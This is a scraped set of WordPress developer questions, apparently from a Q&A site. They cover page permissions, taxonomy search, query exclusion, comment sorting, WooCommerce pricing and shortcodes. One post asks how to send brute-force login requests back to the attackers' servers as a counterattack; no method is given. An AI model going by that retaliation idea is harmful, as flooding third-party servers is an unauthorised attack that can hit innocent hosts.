text: I am considering using WordPress for a number of users in overlapping groups, e.g. a user may be in group A and group B, or only group A. Is it possible to use WordPress to limit access to particular Pages. e.g. Only members of group B can view this page, only members of groups A and C can view that page. Would this permission extend to the menu item linking to the page? (e.g. if user can't view page, they can't see the menu tab/menu item)


title: How do I search inside specific taxonomies in Wordpress

text: I am trying to search for posts in specific taxonomies but any time I search, I get results from all the other pages instead of Wordpress searching within the selected category in the taxonomy. I named my taxonomy: "publication_categories". It contains all categories for a custom post type which I named "publication". This is the code I have for my custom-search.php:               <form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">     <div class="alignleft">     <select name="taxonomy">     <option value="0">Select...</option>     <?php     $theterms = get_terms('publication_categories', 'orderby=name');     foreach ($theterms AS $term) :         echo "<option value='".$term->slug."'".($_POST['publication_categories'] == $term->slug ? ' selected="selected"' : '').">".$term->name."</option>\n";     endforeach;     ?>     </select>     </div>     <input type="text" value="<?php the_search_query(); ?>" name="s" id="s" class="searchinput" />     <input type="submit" id="searchbutton" value="Search" class="btn" />     </form>


title: exclude ids through post__not_in

text: I am trying to make a function and exclude in the post query that way im able to define the id's in my function but it is only excluding 1 post instead of the 4 it is returning. any suggestions on how I can go about successfully executing this? ### function in the functions.php file               function slider_exclude(){         $exclude_query = query_posts(array('showposts' => 4, 'cat' => 'news',));         foreach($exclude_query as $post_ids){             return $post_ids->ID.',';         }     }      ### my loop               $args = array(         'post__not_in' => array(slider_exclude()),         'post_type' => 'post',         'posts_per_page' => 15,         'paged' => ( get_query_var('paged') ? get_query_var('paged') : 1)     );     query_posts($args);


I have a WordPress site and all the time the /wp-login.php was brute-forced to get the admin's password. I changed the address of the login page and now wp- login.php is and empty file which is not processing brute-force post requests. Question: **What useful can be done with brute-force post requests?** For example can I send these post requests back to their IP and load their servers instead of mine? Or something else? Maybe somebody have some interesting ideas about it? Or maybe somebody can share resources about it?


title: Customizing the dashboard page or post overview

text: What would be the best way to add some basic HTML to the page overview (edit.php)? Basically I want to add some text, like a meta box, to explain some things about the page system to my multisite users. Found the answer thanks to the solution provided by OleVik. Here's a few more resources on the topic: How to show an urgent message in the WordPress admin area Plugin API/Action Reference/admin notices


title: How do display simple page for printing product info?

text: I'm using WP 3.1.2 and latest e-commerce plugin. Now I'm stuck at creating simple page for printing product info. It has to be only product information with not WordPress header and footer. The pop up window appears nicely but now I need to check against something in header and footer files to when not to display them. I can't check by post id cause then I need to edit it every time new product is added. And I can't add GET parameter to URL cause then WP e-commerce plugin doesn't show product, instead it displays products page. How can I possibly do this?


title: mod-rewrite exception? keep #hash in matching urls?

text: Hey guys, My WordPress permalink structure is set to `/%postname%/. When I create a page with a name "FAQs" the permalink generated is "mydomain.com/faqs". When I link to this page in my code (hardcoded) like this... `<a href="<?php bloginfo('home'); ?>/faqs#b" title="FAQ's">FAQs` (pay attention to the #b hash at the end) ...wordpress somehow automatically notices that there is a page `/faqs` and replaces `/faqs#b` just with `/faqs` (without the hash). Is there a chance I can write a kind of exception to my .htaccess file so WordPress doesn't do that? Any idea how I could make that work?


title: Huge amount of queries on my site

text: My site is reaching CPU limits all the time, I just ran Debug Queries and got more than 4000 queries, no wonder site is slow.


title: Defining the same price to all WooCommerce Products

text: All of my products on my site are $1 and during an import I did using WooCommerce import it didn't save all the _regular_price & _sale_price values, so there is no way for the user to buy that product. Is there a mysql query that can go through and apply a value to all of the nulls to the $1 value?


title: Sticky post for all pages and categories

text: I want to have a sticky post for all my pages and categories. The choice of "sticky post" in the edit post, didn't work. I found many pieces of code but I haven't the result that I want. I prefer to implement coded and not with a plugin. Any help? Thanks in advanced.


title: Sort comments by karma

text: I'm using the plugin comments rating (thumbs up - thumbs down) on my comments template. It stores "karma" in the db column "comment_karma" in comments table. I am looking for a way to sort wp_list_comments by higher karma to lowest. Have tried something like               <?php wp_list_comments('callback=mu_custom_callback&orderby=comment_karma&order=DESC') ?>      but it's not working. thanks **UPDATE** I got it working placing in functions.php `               function comment_comparator($a, $b)         {             $compared = 0;             if($a->comment_karma != $b->comment_karma)             {                 $compared = $a->comment_karma < $b->comment_karma ? 1:-1;             }             return $compared;             }      and in comments.php               global $wp_query;         $comment_arr = $wp_query->comments;         usort($comment_arr, 'comment_comparator');         wp_list_comments('callback=gtcn_basic_callback', $comment_arr);      Found on this website


title: How to make search engine index PDF files?

text: I'm looking for a plugin or a idea so that my WP 3.1 search engine can index PDF files. Has anyone be through that need too ? Thanks !


title: Plugin or theme that sort posts as 'top this year' and 'top last month"?

text: Is there any free WordPress plugin or theme that sort posts as 'top this year' and 'top last month" or 'top 24 hours' based on voting? I'm using the Vote It Up plugin right now. But it doesn't have the capability of sorting post as a loop. Any suggestions?


title: Q&A functionality with a plugin?

text: I want to know whether someone knows of some plugin which can insert question answer functionaily just like MakeUseof? I want this functiolity in an existing site, not some standalone theme floating around in the market. Or any detailed explaination how with multiple plugins this can be acheieved. I want much simmillar facility as on the makeuse of site. With tabs like most popular, unanswered etc.


title: do_shortcode doesn't work on some pages

text:
Im using Artiss Currency Converter to convert some numbers on my website. Im trying to out put `do_shortcode('[convert number=1 from="aud" to="jpy"]')` in 2 pages. One is a template page in `mythemefolder/newtemplate.php` and the other is in `mythemefolder/functions/single_product.php` `do_shortcode('[convert number=1 from="aud" to="jpy"]')` works Perfect in `newtempalte.php` but it doesn't seem to work in `single_product.php`. Why is that? How can I fix it and does it matter where the php file is for `do_shortcode` to work? This is the funciton in single_product.php                   function cps_ajax_search($meta_boxes){         $posts = cps_search_posts();?>          <?php get_template_part("sidebar-left-common");?>          <?php require_once(TEMPLATEPATH."/functions/var/default-box-one.php"); ?>

             <?php  'Home »';?>              <?php cps_breadcrumbs(); ?>

      <?php _e('Sort By:','language');?>     <?php cps_sort_by('miles') ?> -      <?php cps_sort_by('year') ?> -     <?php cps_sort_by('price') ?>

     <?php wp_reset_postdata();?>             <?php                 $displayed = array();                  if(!empty($posts)): foreach($posts as $post):                           if(in_array($post->ID,$displayed)):                         continue;                     else:                         $displayed[] = $post->ID;                     endif;                 ?>     <?php global $options;$fields;$options2;$options3;$symbols;                   $fields = get_post_meta($post->ID, 'mod1', true);                   $options2 = get_post_meta($post->ID, 'mod2', true);                   $options3 = get_post_meta($post->ID, 'mod3', true);                   $symbols = get_option('gorilla_symbols');                   $options = get_option('gorilla_fields'); ?>                <?php $blogurl = get_bloginfo('template_url'); ?>     <?php $surl = get_bloginfo('url'); ?>
     <?php                $args = array(         'order'          => 'ASC',         'orderby'        => 'menu_order',         'post_type'      => 'attachment',         'post_parent'    => $post->ID,         'post_mime_type' => 'image',         'post_status'    => null,         'numberposts'    => 1,         );              $attachments = get_posts($args);         if ($attachments) {                       foreach ($attachments as $attachment) {                  echo 'post_name.'>'.wp_get_attachment_image($attachment->ID, 'thumbnail_results').'';         }     } ?>

<a href="<?php echo $post->post_name ?>" rel="bookmark" title="<?php echo $post->post_title ?>"><?php if ( $fields['year']){ echo $fields['year'];}else {  echo ''; }?> <?php echo $post->post_title ?>

<?php if (isset( $fields['miles'])){                                 ##### New ##########                                 //number_format($fields['miles'],0,'.','.')                                 echo number_format($fields['miles'],0,'.',',').' '.$options['milestext'];                                 ##### End ##########                                 }else {  echo ''; };?>

<?php if (isset( $fields['vehicletype'])){ echo $fields['vehicletype'].' | ';}else {  echo ''; };?> <?php if (isset( $fields['transmission'])){ echo $fields['transmission'];}else {  echo ''; };?>
<?php if (isset( $options2['cylinders'])){ echo $options2['cylinders'].' '.$options['cylinderstext'].' | ';}else {  echo ''; };?><?php if (isset( $fields['interior'])){ echo $fields['interior'].' | ';}else {  echo ''; };?><?php if (isset( $fields['epamileage'])){ echo $fields['epamileage'];}else {  echo ''; };?>

<?php include(TEMPLATEPATH."/functions/var/default-box-one.php");                                 //echo $symbols['currency'];                                      ##### New ##########                                 // echo number_format($fields['price']);                                   ##### End ##########                                    ?>                                    <span id="calPriceInAud<?php echo $callPriceInAudCounter; ?>">Calculating...

                   <?php endforeach; else: ?>
<?php _e('Sorry, no listings matched your criteria.','language');?>
                 <?php endif; ?>

<?php _e('BACK TO TOP','language');?>

                                 <?php cps_show_pagination() ?>

         <?php              exit;     }      As you can see CarCostCalculator(`<?php echo $fields['price']; ?>`,14, 2500, 1100,`<?php echo do_shortcode('[convert number=1 from="usd" to="aud"]');?>`) has `do_shortcode('[convert number=1 from="usd" to="aud"]')` but it doesnt work. But works fine on the template file.